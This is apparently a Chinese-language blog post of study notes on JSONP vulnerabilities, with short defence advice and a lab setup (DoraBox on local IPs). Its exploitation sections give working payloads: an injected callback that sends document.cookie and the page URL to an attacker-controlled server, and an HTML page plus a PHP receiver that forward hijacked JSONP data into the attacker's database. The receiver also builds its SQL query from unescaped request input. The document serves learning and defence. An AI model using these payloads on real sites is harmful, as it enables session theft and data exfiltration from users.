JSONP跨域访问漏洞

JSONP跨域访问漏洞

文章目录

    • JSONP跨域访问漏洞
        • 一、漏洞原理
        • 二、callback参数自定义引起的XSS
          • 1.漏洞利用
          • 2.防御
        • 三、JSONP劫持
          • 1.漏洞利用
          • 2.防御

一、漏洞原理

SONP跨域漏洞主要是Callback用户可控导致的XSSJSONP劫持两种类型

JSONP劫持,实质上算是一种读取型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。


二、callback参数自定义引起的XSS
1.漏洞利用

构造如下页面,创建恶意链接诱使用户点击,即可获取用户的信息

<script>
	function test(args) {
    // 调用stringfy方法,将JSON对象转换为字符串
    	alert(JSON.stringify(args));
    }
</script>

<script src="http://192.168.30.103/jsonp.php?callback=location.href=
            'http://192.168.30.104/security/xssrecv.php?url=' %2B location.href %2B '%26cookie='
             %2B document.cookie;//">
			// %2B为+ %26为&
</script>

模拟用户访问,成功将cookie和url地址添加到数据库

image-20230501235323366

2.防御

过滤callback函数名称和内容

设置白名单,提前沟通好允许传输的内容

严格按照JSON格式标准输出,添加header (“Content-Type:application/json”)


三、JSONP劫持

通过对callback的过滤,无法利用跨域访问漏洞实现xss攻击,但还存在JSONP漏洞

1.漏洞利用

以DoraBox靶场的jsonp模块为例

在攻击者服务器192.168.30.104上创建jsonpuse.html(发送恶意请求)和jsonpuse.php(接收用户信息)

jsonpuse.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JSONP</title>
    
	// 获取数据发送到攻击者服务器
	<script>
        function callBack(args) {
            location.href="http://192.168.30.104/jsonprecv.php?value=" + 
            JSON.stringify(args) + "&referer=" + document.referer;
        }
    </script>
   	
	// 访问有jsonp漏洞的服务器
    <script src="http://192.168.30.103/security/dorabox/csrf/jsonp.php?callback=callBack"></script>

</head>
<body>
    
</body>
</html>

jsonprecv.php



// 获取参数
$ipaddr = $_SERVER['REMOTE_ADDR'];
$referer = $_GET['referer'];
$value = $_GET['value'];

// 写入数据库
$conn = new mysqli('127.0.0.1', 'root', '123456', 'learn') or die('database connected fail');
$conn -> character_set_name('utf8');
$sql = "insert into jsonpdata(ipaddr, referer, value, time) values('$ipaddr', '$referer', '$value', now())";
$conn->query($sql) ;

// 跳转页面
echo "";

?>                                 

模拟用户打开jsonpuse.html,查看数据库,成功将用户信息写入攻击者服务器

JSONP跨域访问漏洞_第1张图片

2.防御

Referer校验/过滤增加CSRF Token




以上为本人学习过程记录,未用于非法用途
欢迎各位大佬指正

你可能感兴趣的:(php,web安全,开发语言)